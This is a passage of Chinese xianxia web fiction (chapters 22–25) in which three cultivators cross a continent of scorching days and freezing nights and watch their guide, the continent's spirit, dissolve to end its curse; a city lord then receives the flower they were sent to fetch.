楚逢生肯定点头:“说的也是,两天走过整个沧洲,我一个人想都不敢想,我也去休息了啊,窈窈小道友觉得如何呢?”
见二人皆无意再谈,章窈漪也不多留:“我觉得休息吧,我也有点累。”
芙蓉面上愁思显,楚逢生看着,又从小药匣里掏出一个瓷白药瓶。
啪!
他将药瓶放在桌上,一点点推到章窈漪面前。
“喏,之前的应该用完了吧,这个再拿着。”若说之前他还顾及着这是楚予思的东西,现在已经毫不在意了。
楚予思的灵魂现在也不知在何处,他都要帮他走救世之旅了,献祭一下他的小药匣怎么了?
更何况,楚逢生觉得还是让着小姑娘好起来更重要。
章窈漪心情复杂地接过小药瓶:“谢谢……”
楚逢生有些意外,扭头就给姜涟清递眼神。
哇塞,她和我说谢谢!
姜涟清看他这不值钱的样,圈也不画了,曲起手指,指节直敲楚逢生额头。
“好啦,那我现在走了哦。”
她总觉得楚逢生一被敲头,神态就不一样了,总躲躲闪闪的不知何意。
不过心里再觉得不对劲,她也不是很想探究这个问题。
姜涟清一口闷完清茶,起身上楼去了。
楚逢生紧随其后:“唉唉,等我一下啊!”
章窈漪:“……”
来的路上她也了解过,这二人不过相识几天,如今就相熟到如此地步。
他们大人的友谊建立的真快。
*
恰似一场不熄的天火。
云层烧的近乎透明,白色的光灼人双眼,不得抬眼望天,唯恐目盲心瞎。
空气气流间都颤抖波动,太阳光芒带来的炙热烘烤着此处大地,连绿草红花都在刹那间枯萎。
姜涟清也没想到,有朝一日夜阑珊的作用真的是用于挡光。
若是挡不住这刺目白光,怕是寸步难行。
楚逢生小心翼翼地挤在伞下,生怕被光照着一点。
“我大概是要被热死了吧?这什么天啊不知道的以为我们被困进炼丹炉了。”
说着,想着折片叶子往嘴里放,结果才触碰到叶子就被烫了一激灵。
“哎呦!这么烫?现在不是夏初吗,又不是三伏天,三伏天都没这样过!”
笙墨站在光芒下笑笑:“哎呀,已经这样快三年了哦,冬天也这样。极夜洲已经分不清季节了。”
楚逢生诧异地瞥他一眼:“你怎么一点事都没有?感觉这够把人烫成人干了!”
笙墨身上的黑丝从脖子处绕出来,徐徐缠住了他细长的脖颈,但他本人却没有任何异样。
笙墨:“我都习惯了,不就是有点热。”
他伸手把脖子上的黑丝扯下来,随意扔到一旁,还没落地,那段黑丝就缠回了他的手腕。
“你手上这个,到底是什么东西?”
章窈漪出行前携了一枚玉佩,那玉佩挂在她腰间,晶莹剔透,名为霜寒玉,其功效便是凉,因而不惧炙热光线。
笙墨举手,拨了拨袖口:“你说这个?”
黑线几乎缠住了他整个手臂,不规则地缠绕在细白的胳膊上,透着一股惊悚的美。
“这个是我的法器啊,叫三千烦恼丝。”
姜涟清:“‘三千烦恼丝,无乃扰心神’?”
笙墨放下衣袖,摇头。
他几步上前,领先三人三步,将身一转,双手背后,倒行时还不忘低头躲过身后较矮的树杈。
笙墨:“所谓三千烦恼丝,并不是寻常意义中很多头发的意思啦。严格来说是这丝线叫三千烦恼。”
“世中谁人无烦恼?有苦不能言,有乐不得说,哪一种不是烦恼?浮世颠沛,人的烦恼只增不减,可又未有谁者倾听。”
“这凡事都会有个限度,所思所虑若是太多,这天下怕终有一天是盛不下了。你说是吧?楚医师?”
楚逢生本觉着身侧那清香着实迷人醉,饶是日光没照在他身上都觉身体发热,尤其耳根。
他也说不清离姜涟清太近是好是坏了,被她碰两下就不自在,哪怕是敲打。
史书中塑造的形象太过片面,只让人见到她坚韧锐利,肃然正气的一面。
可眼前执伞的她,是如此明媚的一个姑娘,没有那么多哀伤也没有多么低沉,她似乎很快就从难过中抽离了。
偶尔可以窥见史书中的影子,因停留原地并非她的风格。
她是鲜活的。
楚逢生来这千年后这么久,第一次意识到,这里的一切都是鲜活的。
而不是冷冰冰的文字。
史书中的影子在此刻具象,完善重塑成了一个新的形象,寄存于心。
说来,谁也不知。
楚逢生的秘密是,他对救世主倾心已久。
在千年之后,穿越之前。
倏然被提及,楚逢生掩下心绪,抬头:“我一直觉得烦恼因为无能无力,知道吗?因为做不到,所以烦恼,可有些事情注定是做不到的。”
“所以日后的每一天都在悔过,心绪不宁,当时做不到,觉得棘手,从此以后就一直阴魂不散,像鬼似的缠着。”
姜涟清听着觉得他语气不对,别过头,烟青色的眼睛好像在说:“你在烦恼什么?”
然而她口上说出来的,却是:“为什么非要一个人?一个人是烦恼
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,那两个人一起还做不到吗?”
章窈漪:“有的人就喜欢一个人,有的人只能一个人。”她神色恹恹:“我在云上洲就只能一个人。”
“哎呀。”楚逢生逃避似的避开姜涟清的眼睛,状似不在意,“她说的对啊。”
“这种时候,就算要说出来求救,也只能求自己。”
笙墨闻言,忍不住笑出了声,随即面上的笑容都浅了。
笙墨再度转身看路,不再倒行:“谁也不知是否有不曾相识的人,将自己的愁思听了去吧?”
他又一次撤掉了攀到脖颈上的黑线,眸色晦暗不清也无人知晓。
笙墨喃喃:“嘴够硬。”
姜涟清没听清:“你说什么?”
笙墨又笑起来:“没什么啊,就是到共生崖时,怕是要小心会不会出现昼夜同天了。”
芳草,鲜花,在烈阳下焚烧殆尽,青叶,树枝,在烈阳下渐渐失了活力。
连清浅的河道,眼见着都要干涸。
这便是如焚白昼。
“极夜洲还是有点大了,若是换了沧洲浮洲,速度快些就不用担心危险了。”
“希望极夜洲的人,能跑的,就跑快一点吧……”
跑快一点,再快一点。
活着才有重建故土的希望。
*
三千烦恼,万般愁思。
丝线交织连结,带去各处困扰,那些欣喜欢悦,可言之不可言之的愁苦,皆入耳中。
这是他自诞生之前便听到的。
共生崖上月色如钩,每晚都能听见潮汐澎湃,海风混着沧澜海上传来的夜歌,悉数入耳。
生来便能听见他人的思绪,是馈赠还是诅咒?
阿墨说不清。
他最开始觉得,每日躺在绛霜花丛里,观天望月,听海上渔民的歌声,夹杂着九洲各地的思愁,像远方讲述的入眠故事。
他时常从海上渔船里听家长里短,因而懂得人是何种模样,远方的千丝万缕也为他堆砌着人的世界。
古今多少事,渔唱起三更。
某一天,阿墨突然觉得,自己一个人太孤单了,他想亲眼看看远方的天地。
所以他从共生崖出去了。
世间并非一切都是好的,好在好总占了大多数,其余便可短暂忽略。
可变数来的太快了。
那是妄洲灵出生的第一天,他本来感知到与自己同等的存在,心生欢喜。
自那天以后,他很少听到远方奇妙的故事了,午夜梦回间都是人的声音。
有哭喊,有怨怼,万千人声在他耳畔倾诉,告诉他,这世间好苦。
终于在二十年前,他觉得。
好痛苦。
阿墨第一次以人的词汇,来描述自己的心情。他本来没有心情的,任何事都惊不起一丝波澜。
他竟然觉得。
好痛苦。
为什么觉得痛苦?因为烦恼吗?
阿墨居然也开始困扰。
因为烦恼吗?
起先极夜洲并无大碍,只是夜晚的时候越来越长,白昼越来越短。
可当他十年前在哭声里听到妄洲灵的声音时……
一切都崩塌。
于是,在昼夜交替时地裂山崩,星如流火坠向人间,幽蓝寒烟从地底冒出,冷热纠缠不熄。
哭声仍未停息。
阿墨感觉有东西,滴到了手背上。
万番苦楚搓成黑丝,化作三千烦恼,尽数缠上他的手腕。
23. chapter.23夜魅
共生崖在沧澜海岸。
沧澜海联系着整个尘缘大陆,毫不夸张地说,沧澜海是九洲命脉。风声通过沧澜海将生息吹遍大陆。
海面上还有渔船几只,摇摆不定。
潮汐呼唤,白浪卷沙,在渐渐黯淡的天色下,一切竟是有了冷意。
“共生崖到底是……”姜涟清跟着笙墨走了许久,终于忍不住出声询问时,却见海浪拍岸。
潮水不息,甚至有些躁动。
而此时四人面前,惊险一条地缝。
姜涟清:“这是……”
笙墨迎着海风,不咸不淡道:“第一次昼夜同天,崩裂的地面,共生崖就在这条地缝之后。”
他歪头思考片刻,又补充:“不过,共生崖下面,不是地面哦。”
不是地面,是沧澜海。
几人皆是修士,要跨过这条地缝并不艰难,然而地缝之后却非沙滩,而是断崖一截。
日色将尽,炽热日光不似日升时那般滚烫。姜涟清收了夜阑珊,站在断崖边沿,俯瞰浩瀚海洋。
哗啦哗啦……
日渐西移时分,潮汐声声不绝。
沧澜海采样了晴空的色彩,随着光线黯淡,也这般黯然下去。
笙墨又一次撤掉了意图缠绕他脆弱脖颈的丝线,显然已经习惯了。
楚逢生站在一旁看着他动作,很快移开了视线。
风拂过姜涟清的发丝,吹动了朱红飘带,青色衣裙随风飘扬,背影略有萧瑟之意。
但楚逢生知道,她并未伤感。
姜涟清看着这见不得底的深海,的确是感慨与震撼更多。
她第一次看到海。
共生崖拔地而起,抬头不见其顶,像是直接凭空冒出来的山崖,硬生生与极夜洲接壤,理所应当成了它的一部分。
笙墨:“这就是共生崖了,一点也不夸张哦。”
笙墨示意海水不停拍打的峭壁。
他抬头浅笑:“沧澜海岸。我自是有法子上去的,三位要如何登顶,便各凭本事了。”
说罢,他身形一闪,腕上黑丝瞬间抓住崖边石壁,身影如魅,不多时便成了一个小小的红点。
章窈漪:“……天要黑了,今日没有黄昏。”
姜涟清转身时,夜风突然大了,青丝微乱,遮挡住眼睛,看不太真切:“今日没有黄昏,不就是代表着,没有昼夜同天?那我们运气还挺好的。”
她拨开脸上的头发,莞尔一笑。
姜涟清:“我有法子上去,可这共生崖有点太高了,不一定能一下子带你们两个上去。”
楚逢生走到她身边,上下估量了一番,细细回想了雪淞谷的峭壁。犹豫半晌,他说:“我可以试试一个人?感觉除了比雪淞谷高一点,也差不了太多。”
姜涟清狐疑地看了他一眼:“你别是不行硬逞能,你们医修很少有体能好的,别以为我不知道。”
楚逢生撸起袖子:“那我不是那些人。”
他解了胸前小辫子的发带,将一头墨发成一个高马尾。
要说攀岩,那他还真有点门路,否则也不可能三天两头带云蘅草回宗门,成为青虚谷唯一云蘅草大户。
见他如此自信,姜涟清还是选择相信他,又问章窈漪:“那,窈窈呢?”
章窈漪抽出截昙剑,清了清嗓子:“咳咳,我们剑修是会御剑飞行的。”
这才叫真正的能放下心来的理由,现在她只需要担心楚逢生就好了。
章窈漪不在废话,一脚踏上截昙,稳稳向崖顶飞去。
楚逢生扎完头发,将两边衣袖全部挽起,往后推了好几步,随后深吸一口气,咬咬牙跑起来,一跃攀上崖壁。
情况比他想象的要糟糕,但只有没有太多意外,那爬上去倒也不难,只是要花些时间。
他抬头又低头,观察崖壁凹起部分,稳稳攀上,整个人挂在共生崖壁之上。
若是远处去看,恐怕是要为他捏一把汗,上是不见顶的山崖,下是不见底的深海。
暮色到来时分,姜涟清忽然觉得开始冷了。
阴冷的月爬上天边,苍然怵人的月芒撒向大地,并不温婉,而是刺骨的寒凉。
潮水莫名躁动起来,频率越来越频繁,楚逢生向下看去,可以看见海水一丈更比一丈高。
如同猛追不舍的凶兽。
他轻微蹙眉,深呼吸,继续向上攀岩。
不过是海浪,还能真的把他扑下来不成?这无风无雨的,晾它再能耐都扑不到这个高度。
这样想着,他方才升起的一丝畏惧之意又消散。
姜涟清并不完全放心楚逢生一个人爬上去,但这样的高度要她带着飞,绝对是不容易的。
毕竟她不是剑修,不会御剑飞行,只会凌空,升不了多高,还需找个垫脚的地方借力。
她望月,寒芒明亮,不似日光灼烫,却如冬日飘雪,一片寒凉。
一抹幽蓝的寒气莫名从地底渗出,姜涟清心一提起,即刻觉着双脚要凝结成冰。
她看向陡峭悬崖,同样冒着幽蓝色的寒烟,丝缕寒意由壁上生出。
姜涟清不再等待,一步凌空,踩上峭壁,直直往楚逢生身边去,一把捞起他胳膊,借力再起!
月色之下,青衣少女在峭壁上借力攀崖,携着一黑衣少年跃上了共生崖。
到了崖顶时,楚逢生一下子跪坐在地,小口喘着气:“我的天呐涟清姐姐,你吓死我了。”
“我爬的好好的,突然感觉手要变成冰了,你还突然把我拎起来了,我这都不是累的,是硬生生被吓的啊!”
姜涟清提起裙摆,看向鞋上凝起的薄冰,抬脚在地上敲了两下,抖落冰碎。
姜涟清往楚逢生额头敲了一下:“我不拎你,你不就冻成冰了吗?”
这便是极夜洲的夜,夜如鬼魅。
如同碧落黄泉的鬼魂借月光迷惑人心,从地底伸出鬼手,要将人拖入地狱。
楚逢生从地上爬起来,放下了头发,细致地重新扎起了小辫:“嘿嘿,这倒也是,谢涟清姐姐出手相救。”
姜涟清脚边抖落的碎冰,在月下反射的光芒都是冰冷的。
笙墨看着那抹光,苦涩一笑,心中茫然。
章窈漪提着截昙站在他身侧:“你很奇怪,知道吗?”
笙墨转头,笑意盈盈:“我哪里奇怪了?”
章窈漪:“你一点都不像个人,你对这些情况都太淡然了,没有情绪。”
“还有你的笑。”章窈漪墨黑的瞳孔直勾勾地对上他的眼睛,“你的笑没有温度。”
“你表现得,像是对这些情况熟视无睹,心中却起不了一圈涟漪,你真的在乎你的家吗?”
笙墨听了她的话,沉默了好久,最终在姜涟清与楚逢生到来前,他说。
“在乎的。”
他的声音轻渺如烟,随风散去。
寒风凛凛,遍地摇曳生花,蔚蓝与绛红连成一片,霜华之下是灵动的花海。
一支双花,互为解药。
极夜洲的解药是什么呢?
笙墨随手折下一支绛霜花,递给姜涟清:“姜姑娘,这便是你要寻的花了,但是……”
他欲言又止。
姜涟清接过花枝:“道友还有何事?若是有事需要帮助,我可一试,就当报了带路的恩情。”
笙墨摇摇头,又点点头,黑丝徐徐不断,从他的手腕开始,一点点缠到心口,隔着衣服见不到真相。
寒风未息,一层薄霜就
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这样顺着风的指引,结上他的发丝。
沉着的眸子突然显露出一丝懵懂。
笙墨:“要怎么样才能救它呢?”
姜涟清眉头一蹙:“救谁?”
笙墨别开视线,垂眸:“脚下的这片大地。”
脚下的绛霜花瓣结上了一层寒霜,像是被薄雾阻挡了视线,看不清它真实的样貌。
天空明明不暗,可笙墨恰巧落在阴影处。
“极夜洲的宿命,就是绛霜花的真意,一醉方休,至此不渝,同死共生……果真至此不渝吗?”笙墨低声道,语气确实说不出的平淡。
“极夜洲的修士,能走的都已经走了,却犹有凡人停留原地,无谓滚烫日光,无惧寒凉月色。”
“说真的,我的的确确希望他们都离开这里,起码要活下去吧?按人的话来说,活着才对吧?”
“为什么呢?当真至此不渝吗?”
此话问姜涟清,她只会有一个答案。归谕门惨灭,独留她一个孤女,她为什么要活下来,为什么想前往妄洲复仇呢?
只为一字。
那个字涵盖了太多种令人不解的复杂心绪。
笙墨继续说:“三年前昼夜同天时,有两个人类修士,一个执剑一个挥扇,救下不知多少冥顽不灵不愿离开之人。我的名字还是他们起的,嘿~”
“我当时问他们原因,他们说。”
那两个少年模样的修道者,一个点燃温火驱散寒烟,一个一剑飘雪斩碎流火。
他当时不懂,现在仍然不懂。
为什么?
“不,是其中一人说:‘因为想,所以就做了’。”
“好吧,我还是不懂。”他苦笑扶额,似是为自己的愚钝懊恼,“如此随性洒脱之人,其中真意想必也不是我这样的人可以理解的。”
“算了吧,我还是说点别的。我不是说,世间烦恼源源不尽吗?”
“楚医师,你的愁思真的很多,我全都听见了。”
楚逢生没想到这样也能拐到他身上,一颗心咯噔一下:“什么听见?”
笙墨摆手:“你爱认不认吧,我反正不会把这些忧虑说出去的。你在这里,这烦恼丝长的比平时快多了,够能忍的,或者说你嘴够硬。”
楚逢生:“?”
姜涟清:“?”
章窈漪:“话题转这么快吗?你们大人能不能不要欲盖弥彰了啊?”
“嘻嘻~”笙墨背过身蹲下,吹去花上寒霜。
“我要的答案你们就是给了,我也理解不了啊。”
“生亦相随,死亦相随,怎么救这片大地的答案尽在此言中,我只是有点不理解而已。”他轻轻抚过花瓣,私语般:“我会的。”
“同死共生,至此不渝,一醉方休。”姜涟清轻笑一声,复述绛霜真意,“与谁同死与谁同生?”
句句话语皆不似食过人间烟火,坦然道出自己的家在沧澜海岸共生崖。
姜涟清很难不想起那个传闻。
传闻说,极夜洲之灵诞生于绛霜生长地。
“你不叫笙墨,或者说你原来的名字不是笙墨。”
“你是极夜洲之灵。”
极夜洲灵与极夜洲,同死共生。
天地活时孕育出灵,死时就要携着自己的孩子安然入眠,而日渐学会思考的孩子有权拒绝。
这就是极夜洲的法则。
这法则太过柔情,柔情到一个逻辑漏洞完全无法倚靠外力填补的地步。
灵不死则天地无法归寂重生,伤口经年不愈。
他不死,便是昼夜同天的罪魁祸首。
他死,便是昼夜同天的解法。
一切解法尽在此言中。
生亦相随,死亦相随。
24. chapter.24同天
此言一出,崖山顿静,唯有风声依旧。
笙墨蹲在地上,一遍又一遍地抚过绛霜,扯下一朵红花来。
“好聪明,怪不得让你来这里。”
笙墨又笑起来,起身将红花咬进嘴里。
叼着红花,他上前几步,靠在了几乎干枯的树干上,一点一点滑下去。
“即墨先生,好盘算。”
姜涟清一挑眉,蹲下与他平视:“此话何意?”
笙墨当真将红色绛霜嚼进嘴里,吞咽下肚。楚逢生一个箭步就要他吐出来,却被笙墨沉静的眼睛逼退。
笙墨:“不要紧张。”他扯下方才那株绛霜另一朵蓝色花,放进嘴里咽下:“我会死的,但不是现在,我还有话要说呢。”
姜涟清:“你想说什么?”她的目光并未在笙墨身上,而是看着手中一支双花的神奇花卉。
笙墨扯了几根黑线下来,缠成一团打不开的结,眼眸清润,宛若初出世间的孩童:“即墨逾好算盘呐。”
“你们一来沧洲我就知道是来做什么的了,他的愁思我也听得见。我自然知道他想要的是这绛霜,不过我想……”
“他应该第一眼就知道,姜姑娘你离化神只差一步之遥?毕竟这人有点神,手上掌握的灵术太多了,慧眼独具。”
“嘻嘻。”他无意识地弯起唇角,笑着比一路上都更有温度,“他也嘴硬,和楚医师异曲同工之妙啊。”
“他第一眼就知道他家小夕是天地宠儿一般的人物,可他却偏生对修行之事不上心,不知多少人要羡慕呢。不过他家小夕……算了不说这个,说了小夕肯定不高兴。”笙墨想了想还是住了嘴,不去言说那个一剑飘雪之人。
这人向来就不喜欢在世间留下自己的名字,够稀奇。也不需要过多纠结,天才总是古怪的。
笙墨:“即墨逾肯定也知道极夜洲撑不了多久了,也知道我肯定就要去死啦~”
姜涟清:“所以?”
笙墨:“所以他来做这个好人呗,姜姑娘,我敢保证。”
笙墨手上的黑丝结自己散落开来,在树影下根本看不清其形态。
黑丝解开,从他的手绕到胸口,又爬上脖子,缠了一圈又一圈,可笙墨这次却没了拽下来的心思。
“我敢保证,姜姑娘。”
“黎明时分,你们要是能活着出极夜洲,你便能破那化神了。”
冰寒月芒直照在姜涟清头顶,朱红飘带一颤,姜涟清猛得抬头,眼底满是不可置信。
姜涟清:“为何如此肯定?”
棠溪迟曾说过,她需好好修行,等化神一破便有了与邪祟相抗的手段,可元婴破化神哪有这么简单?
但笙墨说,此行过去,她必能破化神?
极夜洲昼焚夜魅,一路下来都见不到活人,她要从何处问道?
答案,笙墨好像已经说过了。
无情道修的便是一个众生皆等,心无偏颇。最无偏颇的,其实是不经人事的灵,因为他怎么都无法理解。
无法理解爱意为何,不知自己为何而死。
他知道他的死,是为了生,可他却真心不知自己为何要死。
姜涟清止不住叹息。
这法则说着是柔情,却太过考验人性,可一个天地之灵,又有什么人性?
众生皆等,死生皆憾。
了却尘世执念。
……
她早该知道了。
怨恨为一字,那一字却不止为了归谕门。
她真正踏上旅途的原因是什么呢?其实当时她就想清楚了。
并非为了一己私欲,而为天下苍生。
大爱与小爱并没有什么难抉择的,她的的确确是为了报师门之仇,也真正为了灾厄停止,众生安宁。
没有什么冲突的。
救世人,亦是救他们。
不过是无数个还未遭到劫难的他们,又有何不同?
姜涟清突然明白了。
天上突然飘了细白的雪。
正值初夏,薄雪轻飘,渺渺苍苍,月落于朦胧中,眼看着轻雪阻挡它的目光。
雪落眉间,姜涟清真心实意地笑了一下:“你不用回答我了,我知道了,谢谢。”
章窈漪寻思着笙墨口中的小夕是何人,秀气的眉毛轻微蹙起,原地盘腿坐下:“我可以问一个问题吗?”
笙墨:“你想问什么?”
章窈漪:“小夕,是我大师兄吗?可是我大师兄名字里没这个字啊。”
笙墨:“……”
这要他怎么说呢?他也不知道即墨逾为何如此称呼那蓝白衣裳的少年,即墨逾一个灵修,心事本就不好窥探。
笙墨:“如果你大师兄,把头发全部梳起来荡在脑后,还喜欢蓝白色衣服,带着一把冰蓝色的剑,那应该就是你大师兄吧。”
章窈漪:“……”这听着很像她大师兄,尤其是大师兄的剑真的是冰蓝色。
笙墨闭了眼,想起什么似的,又复睁开:“嗷,对了,楚医师,你的想法真的很有意思哦?”
楚逢生:“……”又提他作甚。
这极夜洲灵聆听万物的天赋真够让人恨的,他的秘密在他眼前算什么秘密?
气的他要笑了。
姜涟清起身,将绛霜花塞到楚逢生怀里:“拿去,装进你的小药匣子里,你之前不还可惜里面没有绛霜花吗?”
楚逢生:“我什么时候可惜没有绛霜花了?我怎么不知道。”
姜涟清无辜眨眼,眼波清凌:“你不记得我可记得,可失望了呢,沙红姬都掏出来了没掏出来绛霜。”
笙墨左看看右看看,总觉得这两个人感觉特别微妙。
就如当时即墨逾和他的小夕似的。
氛围微妙。
笙墨摆摆手,试图解决矛盾:“想要就摘啊,摘了又不会怎么样,多摘几朵。”
姜涟清:“……”似乎无人说不可摘。
楚逢生倒是眼神一亮:“真的假的,那我可摘了。”
笙墨:“摘呗,再不摘就来不及了。”
楚逢生得到肯定,扬起嘴角,面露喜色。
虽然嘴上不说,但他早就想看看与云蘅草风评反着来的绛霜是何种奇妙药草,但对其喜爱程度肯定到不了云蘅草的地步。
他乐颠颠弯腰,打算随意折几支,以备不时之需。
“不过。”
笙墨扶着树干站起来,看着海岸线那抹橙黄。
三千烦恼丝勒紧了他的脖子,又攀上了他的腰,红衣之上尽是黑线痕迹。
“今天的夜晚,很短暂呢。”
“这真是最短的夜晚了,真好啊。”
阿墨一步步走向共生崖尽头。
雪已然消失,月还未落空,太阳便急不可耐地要取而代之。
黎明时刻,昼夜同天。
霎时地动山摇,幽蓝色雾霭从缝隙中飘出,与那灼烈日光直直撞上。
楚逢生还没直起来腰就一下子跪下了,姜涟清忙将他拉起,又将章窈漪带到身边。
她心中掀起巨大的风浪,此番绝世之景,让心跳极速加快。
风要夺取他们
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的呼吸。
天空撕开一条裂缝,星辰坠下,宛若流火,砸向海面,惊起巨大波澜,波涛拍岸。
冷热交织间,阿墨沐着月芒,迎面对上刺目日光,热风与凉风同时袭来,吹乱墨发。
三千烦恼丝越勒越紧,要将他撕裂。
“其实本来不会这样的。”
他忽然道。
“我本来很高兴,因为阿愿出生了,我本来很高兴的。”
“可是听见美好的声音,很快被哭声叫声覆盖了,他们说的话不同,却在表达一个意思,好痛苦。”
“痛苦什么呢?”
阿墨依然不太懂。
烦恼丝在他心脏的位置绞紧,越陷越深,却不见血丝迸溅。
“我不知道啊,就像我也不知道凭什么我一定要死。”
“可是有一天。”
他的身体渐渐化为黑雾,一点点飘散开来。
“阿愿说,她好难过好难过,她好想哭,好想尖叫,想杀了所有人。”
“阿愿说,她好痛苦。”
远方传来的声音里,掺杂了同类所哭所泣,明明灵并没有人一样的构造,他却觉着一整个心口疼。
他还没有说过自己原来的名字:“其实我叫阿墨,笙墨笙墨的,也应该是生,而非笙歌之笙。”
那是第一次昼夜同天。
烦恼化丝,与他纠缠不休。
阿墨彻底化成一团烟雾消散,那海平线上的太阳光芒逐渐冷寂,月色不再森然,地面停止崩塌。
共生崖上。
姜涟清看见,徐徐升空的太阳,与悄然掩去的白月。
脚下的绛霜一瞬间全然枯萎,灰飞烟灭,苟延残喘的草木接连枯死,海上惊波退下。
天地归寂。
姜涟清恍惚间好像看见海上渔船正在靠岸。
不,不是幻觉。
船在靠岸,且那不是渔船,是一座巨舟。
先前原以为离去的极夜洲修士一个接一个归到自己的家园,隐约可听见他们的欢呼雀跃。
“这怪景突然消失了!是不是说明一切都结束了?太好了!”
“哈哈哈!我就说总有好的这一天,虽然看起来咱家现在灰扑扑的,但是会重新漂亮起来的。”
“唉……”其中最年长者白发苍苍,“谢谢他,又一次救了极夜洲啊,虽然我等从未见过他的真容。”
“您不曾抛弃我等凡者,我等必将助您新生。”
*
天地归寂,绛霜散于虚无。
姜涟清收回视线,余悸久久为消,她莫名觉得,她可以了。
只是看着这一望无际的深蓝海洋,她悄悄在心里询问着。
阿墨,你还听得到吗?
阿墨,你当真不知为何吗?
是真不知,还是说,只是你以为你是不知道的。
身后突然有人拍了一下她的肩膀。
她疑惑转身,便看见楚逢生嘴里叼了片绛霜花叶,把小药匣子往怀里揣。
章窈漪则乖乖抱着截昙,立于他身侧,正投以清凌凌的目光:“走嘛?”
楚逢生漫不经心似的:“走吧,涟清。”
姜涟清一看他这副满不在乎的模样就暗暗不爽,伸手夺下他含着的叶片。
姜涟清:“你就不觉得,有点悲凉吗?”
楚逢生神色不变:“是,可是,门主大人。”
“你来到这里时,什么都来不及了。”
“我们去做一些,还能赶得上的事吧。”
他向她伸出手。
25. chapter.25同生
院里的满地梨花已经枯萎,海棠落红,夏日已至。
即墨逾又一次打开了后院的房门。
屏风后的人乖乖巧巧地坐在床沿,见他来了没有任何特殊反应。
大抵是即墨逾的目光如有实质,夏期不得不分些注意给他。
夏期:“怎么?即墨先生,不是他很失望吗?”
夏期盘腿而坐,笑颜挑衅,分明长相没有一点变化,即墨逾的态度却完全不同,不知该说他太冷漠还是太专一。
“啧啧啧~”他缓缓摇头,“对着他您就柔情似水,一看见我就这样冰冷,真不知他为什么会视您这样两面三刀之人为挚友呢。”
“哦~对了,您说的解法,到底是什么呢?取代我们灵魂链接的方式,也只能是灵魂链接了吧。”
“让我猜猜?”他坏笑,语气揶揄,“同死共生咒吗?”
即墨逾依旧不说话。
“哎呀,哎呀哎呀,不会吧。”
夏期爬下床,一步一步走到他跟前,绕着他转了一圈。锁链将拖曳声十分刺耳,即墨逾不动声色地退后一步。
“我的天呐,即墨先生,他知道你要用这种东西绑他吗?这和我的区别在哪里呢?”
“不过是从一个枷锁,换到另一个枷锁而已。”
“我有点好奇了,你们真的是挚友吗?他对你来说只是挚友吗?啧啧啧。”
夏期摇着头回到床上坐下,神色戏谑:“同死共生咒不是比我还恶心吗?我只会拉着他一起死而已,你却要束缚他的自由。”
“我就喜欢他这一点,肆意洒脱,随性自由,我就喜欢他这一点。”
即墨逾揉了揉眉骨,似是有些累了,眼下淡淡的乌青也看得出他有多忙。
即墨逾:“是,也不是。”
“我不会让他死的。”
夏期嗤笑:“得了吧,同死共生咒又如何?能杀了我不成?他活着一天我便跟着一天。”他眼底的笑意逐渐暧昧:“谁让我喜欢他呢~”
即墨逾轻轻笑了一声,笑的讽刺:“我只需要取代这个位置,剩下的,小夕自己就做到了。”
小夕这样的天地宠儿,即使修炼懈怠也可达到常人努力一辈子都无法企及的地步,此番气运真是招人恨。
谁来都不得不感叹一句,天赋卓绝,当今最适合修道者就是如此。
他虽然对修炼着实不上心,却不代表他一点都不学,相反,遇到有意思的术法,不出多时他就学了个大差不差的。
说来,小夕刚来时,还问他讨了一件物品,说是想学占术。
他说,或许要在等些时日,才能给他三枚铜钱。
独一无二的,只属于他的。
即墨逾不会拒绝他的要求。
在他取代夏期之后,他会将这份离别礼送到他手中的。
就当是留给他的祝福。
祝福他,终于再次获得自由,得以展翼飞翔。
夏期隐约觉得这人不是在吓唬他,可他对自己又实在自信,眉头一皱,冷笑着。
“是吗?等你真的能取代我再说吧。”
即墨逾:“很快。”
很快了,只要拿到绛霜,就很快了。
算算时候,阿墨应该已经死了,以他半通透半迷茫的理解能力,大概是能明白为何他要让姜涟清去摘绛霜。
再不济,他听得见所有人的思绪。
他已经把想法透给他了,阿墨再愚钝也不至于到听不明白的地步。
极夜洲昼夜同天,会在姜涟清拿到绛霜的那一天消失。
阿墨或许仍然不知自己为何一定要死,也没关系,他还会再回来。
总有一天他会懂的。
一切的一切,都不过为了一字。
*
机关城与寻常城镇的差距,大概就是格外繁华。
抛开外界不言,必然觉着这是哪个昌盛国度的主城。
入目是一条长街,百姓的门店皆开,缕缕炊烟弥漫,烟火之气甚浓。
偶尔有人惊喜地看着三人,与随行伙伴,或身边陌生人交谈起来。
“欸,怎么有人进城了?我就知道,前些天那一回会让形势有所改变。”
“这是这个春天第一……二三四个?不是吧?城主这是放外人进来了,我还以为咱要闭城到外界安全为止。”
“嗐,城主前几天不就匆匆忙忙赶到城门开过一次城吗?我那时候就觉得,咱这机关城啊,关不了多久了。”
“哦?我还说那踪迹全无的仙人进来时,这情况就大不相同了呢。”
“啧啧啧,这有什么可比性?那仙人可没有城主手下第一把手带路的。”
一路窃窃私语,皆叹此情形不同凡响。
即墨北领着三人来城主府,一直带到即墨逾的书房前,叩了叩门。
“城主,姜姑娘和她的朋友们到了。”
“进。”
即墨北推开门,让开身位:“请吧,姜姑娘。”
“嗯。”姜涟清一点头,迈过门槛。
楚逢生随之踏足此地。
章窈漪看了一眼即墨北紧绷着的脸,到底没思虑太多,跟着进去了。
虽然不知道这人在慌什么,但眼下最重要的还是问到大师兄的下落。
见三人都进去了,即墨北便关上了房门。
书房摆设讲究,雅致清幽,使用有序。紫檀木书柜上书卷摆放有秩,一眼望去皆是些机关术法,还夹杂了炼器之术。
姜涟清敏锐地看到这书柜里还放了另一种术法修炼的秘籍,差点绷不住表情。
她现在有点怀疑,这即墨先生是不是真的有办法让那个被夏期附身的人,完好无损地回来了。
那该是种什么法子呢?
即墨逾已经等候多时,见到来人,他将手中卷放回书案,起身相迎。
当看见姜涟清身后跟着的小修士,说不惊讶是假,但面上仍然没有任何表示。
即墨逾:“姜姑娘果真办到了,在下没有看错人。”
姜涟清拍了一下身边的楚逢生,眼神示意他将东西拿出来。楚逢生颔首。
绛色与蔚蓝拼凑而成的花卉终于到了即墨逾手中,他自己都没察觉到自己嘴角微弯。
即墨逾:“那按照约定,我会开了这机关城门,不过要在除去夏期之后。”
姜涟清点头表示理解,但她还有问题要问:“敢问即墨先生,您要如何去除妄洲邪祟,让那人活下来?”
即墨逾丝毫不意外这个问题。
归谕门这位姜涟清的名字他确实听过很多回,在盈洲碰见吴云贺时。
那时吴云贺还没有被春望夺去躯体。
他言笑晏晏,在瀑布下散步时偏要倒行,一声一声说着宗门内的趣事。
吴云贺实在是个很会讲故事的人。
